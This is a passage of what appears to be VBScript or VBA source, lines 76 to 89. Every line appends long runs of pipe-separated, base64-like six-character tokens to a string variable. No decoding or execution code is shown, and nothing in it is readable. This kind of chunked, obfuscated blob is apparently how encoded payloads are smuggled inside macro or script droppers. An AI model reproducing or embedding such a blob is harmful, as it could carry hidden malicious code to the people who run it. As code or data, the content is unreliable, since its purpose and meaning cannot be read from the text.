76	str = str & "\|XNm2m1\|xx7Hf2\|7RUx9N\|i2mji2\|mnxDOg\|XHyWEt\|9NPnmn\|Mz3db2\|9g7G31\|TJO1xD\|ywMxmn\|7zORxn\|7Hf27R\|UxmjXB\|XduIXd\|uI9g3I\|yHtE5G\|fBmd82\|mjmz9g\|Pz3g3n\|Kgpr5R\|0xMdTG\|mHfBmd\|izmdiz\|mdiz9R\|PhOn7z\|ORxj5H\|I071bl\|Mnx0MW\|leyHfz\|MG0xmj\|mJXwPB\|y1XY5g\|fE9N8I\|odMImG\|xtKwXY\|ywfc9g\|3v5GbS\|ywxc9R\|XI5nXY\|KwEl9N\|82mzbx\|7Hf29g\|lc5G3l\|OwAIm1\|xhywPh\|ywPB3n\|fjKGlv\|7dPBXz\|QEXNuH\|mdiz9g\|bh5Wll\|5R0GXz\|MGXz7B\|MRTp5W\|XlMGmx\|9N82mz\|yIXR0x\|md8xm1\|xhMHbW\|3HhBod\|UEodUE\|9N8xmd\|8xmd8x\|9RLhMG\|XlMji0\|mNlBoN\|QFoNQF\|9gxv7W\|fBywTj\|3N82mz\|bBMHhh\|3gAG9g\|3v5GbS\|ywxcm1\|xc5G3l\|mdiz9R\|XIMgf2\|5wPe9g\|pvMWbh\|5jiz9g\|plMGXp\|yHPB5w\|AeKHfE\|m10xmn\|PGy1XD\|ORxhmd\|izXNfB\|yWPz3w\|Th5gxB\|mdizXN\|uHXzQE\|y1xrKw\|xc31TB\|y1XU3n\|xzywIz\|7wEn9g\|IhMGbl\|MnxhOW\|f27RlB\|yHhhMW\|xp31xh\|MHqxmj\|XBMHAj\|yHf298\|3buUMG\|qImJod\|XBoNQF\|oNQFoN\|hBKWA2\|3gPe9g\|IpyHhh\|3w0x9g\|plMGfz\|m1xcKw\|Er3wbp\|5nxSyw\|TE3Hl2\|5NPBXz\|QEXNuH\|9gTcKw\|ErmdQ2\|9RbY5H\|IhMGxx\|7Hf2md\|izXR0z\|mzmzmz\|XB5glH\|31T05H\|Ac9gIp\|yHhl5g\|xl9gEp\|yHAc31\|xx7Hf2\|7Rxamz\|hp3lfS\|5n0xmz\|8zmdXB\|y1XUy1\|XU9NLB"
77	str = str & "\|odQGXj\|uJ9gxv\|7WfcO1\|xxm1M2\|3dX2XR\|00mdiz\|XNuHXz\|QE9g7W\|Kgpr51\|xh5Wb2\|317BKg\|fc5gBx\|9gpvMH\|hIy1xd\|7gPJ71\|XBKnfz\|7gle9g\|Pe7ghv\|5nlByw\|En3w0x\|9glc5G\|3lOwAI\|mn0xmd\|8xmd8x\|9RpFyG\|3S5nxY\|3wxc5G\|0xmd8x\|9gpl5W\|Ep3Wf2\|9ghI5n\|blMnxe\|y1TI7g\|AByWlJ\|yHQx9R\|7l5gXv\|5wfBmd\|uEmzuG\|9N80md\|4xmRxJ\|Kw7n31\|TBmdqG\|mjuFmz\|yE9gTh\|ynlnK1\|Tc9gpl\|MGXpyH\|8x9RLh\|MWAcy1\|0Imj4x\|mz8J9R\|TvyWf2\|7RxW7w\|XrOwAI\|mn0Hod\|yEXjlB\|md42mN\|m09N4E\|oNMHXd\|qzmjPB\|5gAH3w\|Il9N82\|mzqIXn\|PBy1L0\|5gfBMg\|Ar3wIv\|5nxt5G\|bY31TB\|5wAe31\|Ux9RXl\|yGTl7R\|xh5nbY\|5HEEm1\|x071T0\|5gfBMd\|PGmWuz\|MjbJX1\|UH9gTh\|MHfSyw\|xcm1xx\|y1pGMG\|hl3gXB\|md8xmd\|8xmd8x\|m1xhyW\|XBynfz\|7gf29g\|Ih7RbY\|317Byw\|EUMWfh\|9RXvyH\|XlMjPB\|yWPzKH\|fJyWPc\|5RxYyw\|EeywhB\|3nTl3w\|bv51xn\|5HxW31\|TByHhl\|5RXly1\|x0y1Xz\|7zL23R\|xn3wA2\|3HfB7R\|TIMGbe\|5zPB3n\|Tp3wEU\|MGxGKw\|xcKwPt\|9glc5G\|3l71xh\|5wPe3g\|PB5nft\|yWf2m1\|xjKgAj\|5Hxh7g\|fBM17l\|MnbEmd\|TBMGft\|5wf29g\|3c5G7l\|MnxjKg\|P25gll\|m1xtyw\|7nKwfB\|MgPrK1\|XJywEB\|MHPtyw\|EJKgPB\|y1XU3j\|82mzbB\|5gfJ5w\|fp5nxh\|MGXY5H\|xlm1xz\|71LlMW\|Ih5jPB\|5wP2Kw\|Eh9N8J"
78	str = str & "\|XziIoR\|xSy1bt\|ywEB3n\|frmdUH\|mNLByn\|fJ7gf2\|3WxE9N\|4xmNi0\|mGxx7H\|fx7HfB\|mjl2MH\|PH5GlB\|3WA231\|3lMn0x\|9gIIMG\|bh5W7B\|MGfeMH\|hp5Wux\|9gPzKg\|xlOdPB\|KwEJ31\|Te31bB\|5gAe3g\|Ae9NyH\|XnxYy1\|Tc31lB\|ywxlOg\|Pe3gf2\|9RhS5G\|QzXjLB\|mN40mN\|40mNLB\|mdizXN\|82mzbB\|MdPGmW\|uz9RLl\|MRLlMn\|xWywIp\|5RlB5g\|AH31lv\|710Img\|Xl5nbB\|KWAz31\|LY9R7Y\|y1bl7W\|f296PB\|KWPz5w\|le31xv\|MWPe3H\|fB71Xl\|Mnxa7w\|Ep5GTB\|yHAvKH\|ll9gIh\|Mnbp5n\|xx7Hfh\|MHbDOg\|XBmj82\|mdix9N\|Pxy1pF\|MGM29R\|LhMGXG\|5GTUmd\|TB3HAv\|3Hxl9R\|LhMGXG\|5GTUmn\|0xmd82\|mjTB5g\|Acmdiz\|9ghl5g\|xvmdiz\|9gpvMW\|bh5jPB\|MHhh3g\|AGm1x0\|y1b2Kw\|Xr9NX2\|snmx5g\|8GMufB\|3Hle3H\|f29gEp\|yHAc3d\|PB51lc\|5G3l9g\|P2MHfe\|ywxBmd\|izXNqz\|mjPByw\|Tj3gfW\|9gxv7W\|uxmn02\|mzizmj\|XBflPz\|yuTmuR\|pmy1xJ\|y1lc5G\|TB51lz\|MgPj31\|xSMWPe\|3gAe9g\|Pe3Hfc\|9N82mz\|qIM1xS\|MWPe3g\|Aem1xj\|KRTpMz\|PB3glh\|5wAe3R\|xz5WAv\|MRlBy1\|XzKgAc\|31xx7H\|fhMHbB\|MGbhMn\|7hMnXB\|5wPJMW\|lF9gIp\|yHtlO1\|xzyHhv\|5HxBKW\|Aey1bY\|ywEB5w\|fcK1Xz\|y1xl5w\|le3wIB\|mdizXN\|uHm1xj\|KWIhMG\|blMWle\|3nxc5G\|3lMnXB\|mdizXN\|uHXzQE\|m1xeKw\|tp7gPB\|MWljKg\|P23R0x\|mzq29R\|ll5gxv"
79	str = str & "\|7G0xmj\|mJX1PG\|31TJ9g\|AcK13l\|Mnxxm1\|M23dX2\|XRqI9g\|XY3wfz\|31xhmd\|izXNuH\|XzQE9g\|XYMWlz\|7glh5n\|02od4E\|Xj3B7H\|Pc56El\|9N82mz\|qIXjMF\|od809N\|82XN8z\|9RXvMg\|hp31xJ\|7wbl5g\|3J98bT\|dIXPuJ\|3TbuxB\|3RLSKz\|82mzbB\|u8ujXu\|7Kmjlq\|fPpXuJ\|fByWPp\|5gfE9P\|uzog3h\|mzlB5w\|f2yHfU\|31XB7W\|lj7gA2\|KwPBmd\|qGoNu2\|9gPz3g\|Pz3NfB\|5wPJ7g\|hl7zPB\|ywTj3g\|fW3Gx0\|3wPe71\|bBXNuH\|XzQE9R\|Tl3N82\|mGxYy1\|L0OdPB\|MHPe3R\|Th9gTl\|5Wph5w\|le9gb2\|yw7v5j\|PBXNqJ\|XNqJ9N\|82mzyI\|XNMFo1\|0Us8fy\|9gfcK1\|phyWfJ\|KRx0MW\|leyHfB\|ywIh5W\|bhm1xh\|5W7l5R\|XBywEn\|3wxh9R\|PxM1Px\|M1xzyw\|II3wxB\|yWPeyw\|Eh9gTh\|MWXl5g\|Aey1xn\|KgTU7g\|EByHAt\|MRfJ31\|ix9gIp\|yHhl5g\|xlm1xG\|KwxcKw\|Ptm1xY\|5HXr31\|lB5wAe\|MGblMn\|xjy1Tc\|5GXBKn\|fz7gle\|m1xh5n\|bv5Wlv\|9RPG31\|TJO1fB\|5WPJKg\|Pe9NuI\|XduI9N\|82mzMF\|o100mN\|409gtp\|5gxlMj\|PBmd82\|mjmzXN\|bByHhp\|yHtl5n\|xc7wXr\|OdPB3H\|PSMWll\|5RxG3w\|xj5HIl\|m1xDy1\|8xmn7z\|ORxay1\|XtKwEl\|m1xzKw\|xH31TB\|KRfe7g\|f2m1xS\|7wTS5g\|fz9ghv\|7Rbp3d\|PBMRf2\|Mgxlm1\|xh5Wb2\|31Mx9g\|bh5Wll\|5NPB5g\|lH31T0\|5HAcm1\|0xMwPD\|mn7zON\|Xl3gXB\|MWPp5W\|Tv7Gxt\|5GTnyw\|EB5WPJ\|y1XYy1\|xW7wXr"
80	str = str & "\|5H3W9g\|phyHtz\|5HEBy1\|fz7gle\|9R3h5W\|fzMHPB\|5wAt51\|Ux9gIh\|3glz5H\|EBywbp\|3gPz9R\|hFORhF\|OR02Xd\|iImjfB\|ywIlMW\|ljy1xa\|ywIlMz\|PB5wfJ\|ywxcKw\|Xh9RXc\|K1Lr5W\|AJ9gXY\|KwXr3w\|Fx9NQG\|XjuJmz\|ix9gpl\|MGfz98\|Efd8xB\|mN40mN\|40mN40\|mRxh5g\|fFK1XB\|iwPSiH\|XUTRxz\|MglU31\|TtywEB\|MGbl7W\|fe9g3l\|MnThMW\|lB5gPI\|MWfe9N\|qIXj82\|mGx25H\|TlMnqx\|9N8JXz\|QImjmH\|o1xx7H\|PzOnhB\|ynfU3R\|Ux9gTI\|7RblMW\|3cOdPB\|i1Fhm1\|xJKwEr\|31TS3w\|xc9gTh\|5Wbp7R\|xUywEp\|3wxc31\|00mdiz\|XNuH9g\|EpyHhv\|5gPz9g\|hh5WEh\|KNPBM1\|7lMnbE\|mdizXN\|fBmdiz\|XNuIXN\|m2m1xh\|MHbWy1\|XU3nx0\|5Htl5w\|Aem1xe\|K1THyw\|Eh9gbl\|MGbp5n\|lBMHXv\|5GblMn\|xj5HAr\|Kwux9N\|82mGPG\|3wPz3R\|xc5G3l\|5wux9g\|XY3wxz\|3w8x9g\|XY5HXv\|5gPJ3d\|PBmdiz\|XNuHXH\|PBKnfH\|3wEJ71\|XBMWPj\|Kgfc9N\|8xmdi2\|mnbpyw\|EEy1xx\|y1pFMG\|7BOnpD\|OnpD9g\|Iv5Wlj\|y1xz7g\|fc5gPB\|ywIlMW\|ljydPB\|odUEod\|UEodUE\|9gpl5W\|Ep3Wf2\|m1xWMW\|fl3gAt\|m1xJy1\|lc5Gix\|9NMJmd\|QImjUH\|mGxEyw\|IhKgPB\|7Wlj7g\|A29N40\|mN409R\|PG31TJ\|O1fp9g\|8xyjTj\|mGx25H\|Eh5gbv\|9NP0y1\|Xz7HA2\|3Rxz5w\|Ar31lB\|3gPHKw\|qx9gIv\|5WfE9g\|bh3gbE\|m1xj5H\|XhyHAc\|y1xhoN\|mFKg3p\|bR0xmj\|mJywTj"
81	str = str & "\|3Rxa5G\|XY7w8x\|9N82mH\|Pz3RxS\|71XJ31\|ix9gIE\|MGLhyH\|uxmjXB\|yWAvyW\|Av9gIh\|3glz5H\|Fx9RXh\|5wPe7g\|hhm1xY\|3wPJKg\|f29NMH\|Xdqzmj\|PB3wxp\|OWPS31\|bYm1x0\|5HA09R\|bp3H7l\|MjPB3W\|PtKwxE\|m1xt71\|XJywEn\|m10xXN\|iImz3B\|5WAH3w\|IS31TB\|KWPzMg\|f29gxv\|7WfcOd\|PB3glh\|5wAe3N\|PBMGfj\|yHfzMG\|xl3R7h\|MWbB51\|fzKwmx\|9R3h5g\|fe7gle\|y1xYy1\|Tc31Ux\|9RXG3w\|fJO1xJ\|3wEeK1\|XBOnhj\|mdiz9g\|32Kwfe\|3Rxxy1\|YxmjXB\|7Hhh7g\|fH31ix\|9RbY5H\|IhMzPB\|5WAJKg\|le3Gxo\|mNILyH\|mzMGXB\|MGf031\|ixmjXB\|yHPzMg\|f29gXY\|31XJ31\|TBb1hp\|3Hfe7R\|x0y1Xz\|7HA23N\|82mGxj\|KgflMH\|ux9RX0\|5HEn3w\|TvyjPB\|51le5H\|AS9ghh\|KgPYy1\|xY3wxc\|5Htp7R\|bE9N4E\|oNMHX1\|xh5gfF\|ywEUMW\|PByHPe\|ywbh9g\|bh7WlU\|9NPxmn\|Mz3db2\|X1qHO1\|xU3wEe\|K1XB3g\|fj3wIS\|31TB5H\|xp7Wlh\|9g8xyj\|TjmHqJ\|9RLcy1\|lS5GlB\|MHPSMW\|ley1x0\|y1b2Kw\|Xpy1xz\|7wIt31\|ix9g32\|Kwfe3R\|mx9gIl\|Oglj5z\|PB3gPr\|5Gbh9g\|ThMWTp\|31xc5G\|fc5GfB\|KWAY5W\|EE9gII\|MHlj9N\|82mzqI\|XWIB5g\|AH31ix\|9gIh3H\|7p3dPB\|MRTl7R\|bE9N82\|mHhWKW\|brmdqG\|9gEpyH\|Acy1XB\|M17lMn\|qx9gXY\|y1Tc31\|XBMghv\|3wEpOR\|x23wTl\|yHXh9R\|bY7wEU\|31TBMH\|fFOd82\|mGxp5g\|AH31u2\|9N82mz\|qIXjMF"
82	str = str & "\|o1PByW\|PJ5wPe\|m1xS3w\|PI7glW\|7wxByH\|P25Hxp\|5WPBXN\|QxXd8H\|mjmJmn\|xHKwEj\|3wEJ9g\|plMWft\|O1xzMg\|lU31TB\|mdizXN\|uHmdiz\|9NUHmz\|QImjMJ\|m1xhMH\|qxmjmJ\|Xd3Bmd\|izXNuH\|M1PBm2\|FxXN8I\|o10zVj\|8JmduE\|mj3Bmd\|8xmji2\|mzmz9N\|82mzyE\|oNMJX1\|0zXjUF\|XdTBmd\|izXNuH\|odQG9R\|pFyG3S\|5WJxmj\|XBXdQJ\|Xdi0md\|mxXRxx\|7Huxmj\|mJXd3B\|mdmIXz\|U2XNyF\|mR0xmz\|uGodiJ\|XjhBqf\|mxmjmJ\|Xd3Bmd\|qGoNUH\|mziI9g\|PhywPh\|ywPh9N\|mxXN8I\|odiH9g\|Pz3gPz\|3gPz3R\|0xmj82\|mdixmn\|xhmdiz\|XNuHXz\|hBXdi0\|Xdi0Xd\|i09N8x\|mjmIoN\|8zmjPB\|mdizXN\|uHy1XU\|9N82mz\|4xmjm0\|9N82mz\|yEoNMJ\|9NiImj\|uGXzuF\|9NmHod\|iIoN8J\|XG0IoN\|qImj8x\|mz8J9g\|FIoNqx\|mz8Jmj\|PBXdQJ\|mdmxXN\|u2mR0I\|oNqxmz\|8JmjLB\|5GLl5n\|bY3wbv\|5GTBmd\|mxXNu2\|mR0GXz\|uFXdix\|9Nu2mN\|u2mR0x\|md4xmd\|LBXdix\|mdmxXR\|0GXzuF\|mjuF9N\|u2mdu2\|m10xmz\|8JXdix\|9RpFyG\|3S9gEh\|MHqxmj\|XBmdiz\|XNuHmR\|xxmdiz\|XNuH9R\|YxmjmJ\|Xd3B7z\|82mzqI\|Xnxhyw\|8xmdPB\|XjyHXj\|yHXj3B\|md80md\|80md80\|9Ni2mj\|i2mji2\|9g8xmj\|mJXdyG\|9N8xmd\|82mji2\|9Nu2md\|u2mdu2\|m10xmd\|izXdQx\|mG0Imj\|4xmz8J\|Xdi09N\|80mNi0\|mNm0mR\|xxy1pG\|MGQxmj\|XBMd82\|mzqIXj\|MFo10E\|oNMHXd\|qzmj80"
83	str = str & "\|9RPhOj\|82mzqI\|Xn0xmj\|mJXd3b\|fJfByd\|u2mN8z\|mdbBmd\|80mdi0\|md8E9g\|bv5W7U\|5HEn9N\|8zmdqx\|mz8J9N\|i0mNQ0\|oN4F9N\|8JXzQE\|Xjm29g\|xv7Wux\|mz8J9N\|uFXNi0\|mdmxXR\|0IXduH\|Xj3Bmd\|40mj40\|9NMGoN\|QEo10H\|XjyFoN\|hBmj4x\|mz8J9N\|8HoN8H\|oR0xmj\|m0mNLB\|mz8Jmd\|uE9NMF\|odMFo1\|0EXjmF\|XdTBMw\|PDMwPD\|9NmHod\|mHo1xW\|3W3W3W\|3Bmdmx\|XNi09N\|uFXNu2\|mR0GXN\|8FXdTB\|XNuHoN\|u29N8z\|mdq2m1\|0xmdPB\|mdmImj\|qH9N8x\|mN8xo1\|0zmj8z\|mjPBXz\|uzodux\|9Nixmd\|mxXR0I\|mdQImd\|hBXNuH\|XNuH9R\|7p5Wbv\|7GXBmd\|izXNuG\|9NmzXj\|yEo102\|XdQzXj\|lBXjuJ\|mdiz9N\|8JXzmH\|o10xmd\|UxmdlB\|mzixXj\|uJ9NMG\|XdQImj\|LBXdi0\|Xdm09N\|8xmjmI\|oR0IXj\|qzmzfB\|od8xod\|8x9NUI\|mdMImG\|0xmd4x\|mjLBmd\|mIXzU0\|9NiIoN\|iIoRxz\|KgIp5R\|lBmd8x\|mN409N\|mHodiI\|oR0Imj\|40mjfB\|mdixmz\|8J9NiI\|mdmxXR\|xU3gbU\|3gbBXz\|4EmzUJ\|9N82mz\|qHX10G\|mj8Imj\|PBmzmJ\|XNu2mR\|xG7G7W\|3W3BXd\|QJXdix\|9Nu2md\|82X10x\|mjm0md\|iz9RXz\|MGXzMG\|0zmzi2\|mdPBmd\|i0mdi0\|9NmzXN\|qImjPB\|mdiJXd\|MF9gPh\|yd82mG\|0xmdix\|mdTB5w\|ES7WXF\|On0xmz\|qHXzlB\|Xdixmz\|8J9Nm2\|mdqIXn\|xhmd8x\|md8x9N\|MFodux\|mjXBoN\|u2XNuH\|9Nu2mN\|82mGxD\|OgXDOg\|XBmd8x\|md8xy1\|xSywAS"
84	str = str & "\|ywAByd\|82mz82\|mG0Eod\|UEodUE\|o10IXd\|uIXduI\|X1xhMH\|bW3Hha\|KG0xmj\|mJXdyG\|o8PBmz\|ixmzix\|mzix9N\|82mzqI\|Xj409R\|YxmjmJ\|XdyGoN\|lBmdiz\|XNuHXz\|lBmdiz\|XNuHyw\|Ph9Nm2\|mdyIXN\|UFXGxD\|Ogmxmj\|mJXd3B\|MGf031\|Tty1xn\|5HAU5R\|fjKGxh\|mdizXN\|uHy1xh\|MRbFXN\|QHo10G\|XzuFXd\|ixmR0G\|XN80oN\|u2mR0G\|oNUJXd\|yxmjm0\|9gPSyH\|qxmjmJ\|Xd3B5n\|7G7z82\|mzqIXn\|0GXzuF\|XdixXd\|ix9RPx\|mdizXN\|uHXzQE\|9NiImj\|uxmziI\|9N8xmN\|8xod82\|mR0xmz\|8JXdi0\|Xdi09N\|u2mN8z\|mdbh9N\|8HoNUG\|mdyF9g\|Fxmd4x\|mj4xmz\|LBXdQJ\|mdmxXN\|u2m1xe\|M17x7G\|PG9NQF\|oNUEo1\|0xmz8J\|9R7Gmd\|8xmd8x\|9NiJXj\|QxmR02\|mjizmz\|XBXNqI\|XdyH9N\|mzmzyH\|Xn0IoN\|uFXdhB\|mdixmd\|ix9gPh\|ywPhyw\|PBmd8x\|M1Px9N\|8IodUI\|m10xXN\|MxXN7B\|mjmIXj\|QE9N8I\|od8Io1\|xS31lv\|5WbBoN\|UFodQE\|9NMGoN\|Q2XdLB\|Xdi0mz\|mJXR0I\|XduFoN\|hBmdiz\|XNuHXn\|xhmN40\|mN409N\|MGoNQI\|mjPBmd\|i2mzmz\|9N82mz\|82mHPB\|mjuFXN\|uH9R8x\|mjmxmj\|XBXdi0\|9gPzy1\|XhMG00\|mN40mN\|Lh9gIz\|mN4FmH\|pFKn0z\|mzmzmz\|mzmGxx\|7Hfx7H\|fx7HfB\|3W3W3W\|3W3W3B\|ywPhmd\|izXNuH\|9RPG31\|ThMHbW\|9NiEod\|MEmjqI\|oRxhyW\|mxmjmJ\|X1xhmd\|izmdiz\|mdiz9N\|82mzqI\|XSEBmd\|izmdiz\|mdTByw\|Tjmdiz"
85	str = str & "\|XNuHXz\|QE9NPh\|mWizyz\|bU9N82\|mzqIXW\|PS9RPx\|mN40mN\|409RPG\|mdizXN\|uH9RMx\|mjmJXd\|yGoNlB\|mdizXN\|uxmjmJ\|X10JXd\|yJXdyJ\|Xd3Byw\|ixmjmJ\|Xd3Bmd\|UJod80\|mNPBOn\|YxmjmJ\|Xd3Bmd\|izM17l\|mdiz9N\|82mzqI\|XWPz9R\|8xmjmJ\|XdyG9N\|82mzqI\|XnPhOn\|xx7Hf2\|7N82mz\|qI9Nu2\|mN8zmd\|q09Nmx\|XN8Iod\|iHXdXB\|Xdi0md\|mxXN8z\|mdbBy1\|XU3j82\|mzqIXn\|0xmjmJ\|XdyGod\|hBmdiz\|XNuHXz\|QEo10x\|mjmJXd\|yGoNlh\|yWXBmd\|izXNuH\|M17Bmd\|izXNuH\|ywTj3R\|0GXN80\|XzqxmR\|xU3Rpa\|mzljyj\|XBOnQx\|mjmJXd\|3Bmj40\|odi0mN\|lBmdUF\|Xj82md\|TBmdiz\|XNuHXz\|QEm10x\|mz8JXd\|i0mdmx\|XNu2mR\|0xodQH\|md4xX1\|0xmjmJ\|Xd3DOg\|XBM17l\|mdizM1\|7l9Nu2\|mN8zmd\|qxmjXB\|5j82mz\|qIXn0J\|XzyGmG\|0xmNi0\|mG0HoN\|yFXjhB\|XjyHod\|UE9NUF\|odQEoR\|0GXzMF\|oNhBXz\|QGoNMF\|9NQFoN\|yHXn0E\|odUFoN\|hBmjmJ\|XdyG9N\|82mzuH\|XG0xXj\|QFoNhB\|mdQxoN\|8F9NuH\|XdyIXS\|icin0S\|kqJk71\|X2iNJQ\|uWfh38\|leKsht\|OwleKs\|0QiWEl\|78xh5S\|icinuS\|V6iSkq\|JkMRMQ\|ZsLs3w\|PUswEp\|kgIEKw\|EpV64S\|5WfJdg\|PeiS0S\|M6iciS\|ipNqpT\|3SLIMG\|iQZs4S\|iSLZMS\|L0724A\|i6iSiP\|bY3wFX\|6nfzMS\|4AiN4D\|MRMQZs\|40NqpP\|5WqQsw\|yX6U3v\|MSLIiN\|JQswEJ\|kRfzMS\|UQfgBQ\|fuTv7w\|EUkRfz"
86	str = str & "\|31Tzks\|4tiN8X\|6l72K1\|blswEp\|igIEKw\|EpV6Te\|31bmyw\|FSV6TI\|iS0Q7q\|JkbWA2\|igcQZs\|LT5nqY\|MRMpiP\|bviPf6\|5Gfe36\|h0MGMp\|i6JQmq\|JkfGTp\|7gfT5W\|UQ51lp\|5WUciW\|El78xh\|5Sicin\|4SV6Lr\|Nqpms2\|4Ai8xp\|5Wtd31\|TH31iY\|K14cin\|Tv5GbM\|MGfSMH\|X2K1LJ\|KwAeiS\|xIMHf2\|M2hIks\|x0MGMY\|K2UpNq\|pT3SLm\|s24Ai6\|itmj8J\|Xz42mz\|8GX6iQ\|dGiQbW\|xh324A\|iPb27w\|uQfghl\|5QJkfG\|Tp7gfT\|5WUQ51\|lp5WUc\|iWEl78\|xh5Sic\|inuSV6\|40Nqp1\|MWlJ3u\|leKsLt\|OwleKs\|0S5WfJ\|dgPeiS\|0SM6ic\|iN4X6U\|fFK1qQ\|bnfeyG\|bp5HFX\|6UfcMH\|fT3SLm\|s24Ai6\|iSiPbY\|3wFX6l\|72K1bl\|swEpig\|IEKwEp\|V6Te31\|bmywFS\|V6TIiS\|0Qm4Jk\|fGTp7g\|fT5WUQ\|51lp5W\|UciWEl\|78xh5S\|icin4S\|V640Nq\|pPOglJ\|i83I5W\|XJKwAe\|NqpP5W\|qQswyX\|6l72K1\|blswEp\|igIEKw\|EpV6Te\|31bmyw\|FSV6Te\|y2icij\|8SNqpo\|31hJNq\|po31hJ\|Nqp1MW\|lJ3ule\|KsLtOw\|leKs0S\|5WfJdg\|PeiS0S\|7siciN\|4X6l72\|K1blsw\|EpigIE\|KwEpV6\|Te31bm\|ywFSV6\|T0iS0Q\|m4Jkbw\|EUi83I\|5WXJKw\|AeNqpg\|7wEj7g\|lv5SLm\|KwEruH\|f27Wf2\|kRXJMU\|l0VRXJ\|MUEdVR\|XJMlfo\|VRXJMl\|L1b6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTafH\|TlVgAS\|KUXv5W\|FX6lXl\|76LvyW\|p1yWuQ\|ZsLNMW\|fh7gfZ"
87	str = str & "\|yWplyG\|qYil7S\|3wIdyG\|TpMRbp\|5WMeuI\|7S3wIm\|5HXh7g\|A2iSUX\|6lXl76\|LvyWpN\|5HEeiN\|JQ5HTa\|fHTlVU\|Xv5WEl\|yGbd31\|TH31iY\|MGb2s1\|4ciRXJ\|MUEdV6\|Lz7RTf\|dS0QMG\|b2uP78\|kqJksw\|yQb1T2\|iPbY3w\|FX6Uxp\|5Wtd31\|TH31iQ\|ZsLNuG\|b2k8f2\|MSEo7w\|IS31ip\|NqpPMn\|ieqHxl\|y1iX6U\|fFK1qQ\|bnfeyG\|bp5HFX\|6Ufe36\|LT3QJk\|5HTaqH\|Ae5SEd\|3wXIMW\|lJOfBe\|swI031\|Tz5HEh\|7glv5U\|xl7Wfc\|iNJQm0\|JkMGb2\|mS4AiP\|TlMgxh\|yHuYuU\|yciSiS\|iS0SiS\|iSiSip\|Nqpz7R\|i2iNJQ\|uWf05g\|Pj3shz\|7Ri2V8\|XYMSQx\|m2UWqH\|h2kN80\|ks0SoS\|ipNqpz\|7RiQZs\|Ls31Lc\|ywXlkR\|TlywbW\|KwxlkP\|7dyGTp\|MRqeMH\|X2K1LJ\|3nfc5g\|Eh5wup\|V6iSiS\|iciSiS\|iSiSkq\|JkMGb2\|iNJQuW\|f05gPj\|3shz7R\|icqHh2\|kN8zks\|3NKRiY\|md4pV6\|iDiSUX\|6nbF76\|4Ai6TZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|7Np8Kw\|JQbnXv\|VP7dKg\|fc56xv\|yWpgKw\|xlVP7t\|Kdpd31\|qQfIXY\|3wxciN\|JQqGTl\|y1bldH\|Ta3wXJ\|k6iSfI\|XjMWl0\|76EdKg\|fc56iS\|kdpd31\|qQblXZ\|iNJQqG\|Tly1bl\|dHTa3w\|XJk6iS\|uHX2K1\|LJKwEn\|VU3p5g\|fzO1XJ\|3wIvyW\|plyGqS\|iSUDuH\|fJiP7t\|KdIn31\|bvyWpl\|yGqYiS\|TGKwEt\|3HIJMz\|pM16EM\|MWAv7P\|xjKwIH\|mSiSkd\|pz31qQ\|fGL25z\|I15wUe\|31hlyG\|PI31TE\|k6iSMH\|fc3wXJ"
88	str = str & "\|i6YQ3n\|Tv5sLG\|KwFzml\|A0MWAj\|31XziR\|7Y31Tl\|igEh5w\|uATG7z\|yGTpMR\|qe31hl\|T2iSkd\|pUK1iQ\|ZsL1uH\|hl5g0e\|31h0yw\|EU3wEH\|K1Tv5W\|Il5nbz\|7RTp5W\|7zk6iS\|T1bl51\|4liSip\|i6yQiS\|TMiSiD\|7RhJmS\|4Ai6iS\|iS4WiR\|XJMjiQ\|TSiSij\|pd31qQ\|5HTabW\|lc3s4A\|i83z52\|ENMWfh\|7gfu31\|hJbWlc\|3shUK1\|iWiSTu\|df4ef8\|IqiSic\|fRTI3s\|xgywxz\|3sUD5H\|TabWlc\|3sEGMW\|lJ3sLJ\|ORq2oW\|ASKU3p\|5gueyH\|xvMHuD\|7RhJiN\|JQiSiS\|TSLz7R\|iQTSiS\|ijpd31\|qQ5HTa\|bWlc3s\|4Ai83z\|52ENMW\|fh7gfu\|31hJbW\|lc3shU\|K1iWiS\|TGKwEz\|7gP276\|EGMHyS\|iSxuMn\|flV83h\|5RXlkd\|pvyWpg\|KwxlVn\|72K1bl\|iRbF7N\|pvyWpg\|KwxlVW\|Xc5GXl\|oW3vMS\|LlywXY\|igJQKw\|FQfGL2\|5zpFiN\|JQO64W\|igJeqH\|At5wPe\|38xp5W\|uD5WfF\|7Npp3S\|Lp5nXJ\|MShmyH\|Pz3shF\|ks0Sin\|7p5Wbv\|7GXM7g\|ftMPxG\|KwEz7g\|P276EG\|MHySiS\|UAm6LJ\|Kgfeol\|7dKgfc\|56E27w\|FQiSTG\|MHX2K1\|LJVWfF\|3s4vVJ\|iQiSiQ\|TSLNKR\|iYmzqp\|i6yQ3g\|l2i6yQ\|iSTGKw\|Ez7gP2\|76EGMH\|ySiS4W\|i8XYMS\|QzX6UD\|3wEUig\|lWonXJ\|MUbh7g\|uAi8Iv\|5nbYk8\|Ev72Qp\|ksySiS\|JSiS38\|y1UYdW\|AGk6Up\|ol7dKg\|fc56E2\|3w7GMW\|lJ3s4S\|iUhVbf\|l9d8AN\|qux9du\|PNs8lo\|bfxz5H\|3J7HP2\|3fxXKw\|X25GXv\|3nbMMW\|teMWxM"
89	str = str & "\|7GX0MS\|iSV64S\|ilmSiS\|3z7RT8\|y1blV6\|4SilTP\|bIAdwS\|iSiQJk\|fHIpqH\|AeMGft\|31iQ5H\|TaqHAe\|5SxJOR\|qcinTr\|5nTc7G\|XWiQJk\|bWxh32\|4AiPb2\|7wuX6U\|fe36Lg\|7wEj7g\|lv5QJk\|bnfeyG\|bp5HFQ\|MWl0k6\|UX6lTh\|5Wbv5w\|lD3qJk\|MWl0iN\|JQswEJ\|k6Q2Xd\|uQkSLs\|5Wqpi6\|cQmsUW\|iSFSTU\|le76QY\|mjuIi6\|YQuWEU\|ks4riN\|8pTSie\|iS3T5n\|qYkNiI\|Xs4aiP\|Te36UQ\|k24xkq\|JkfGTp\|7gfT5W\|UQ51lp\|5WUciW\|El78xh\|5SiciW\|l0mdiz\|iS0QMW\|l0NqpP\|5WqQbn\|feyGbp\|5HFX6U\|3I5WXJ\|KwAeiR\|hH31iY\|kqJkdH\|FQb1T2\|5GiQuW\|fz7wIl\|i8ElOR\|qX6lXl\|76LvyW\|p1duld\|31THKw\|XliNJQ\|bHfJdH\|Ta3wXJ\|k6TGKw\|Et3HIJ\|MzpM16\|EMMWAv\|7PxjKw\|IHmSip\|Nqpd31\|qQyHAc\|s1bl51\|mQZsLv\|yWp1du\|ld31TH\|KwXlVU\|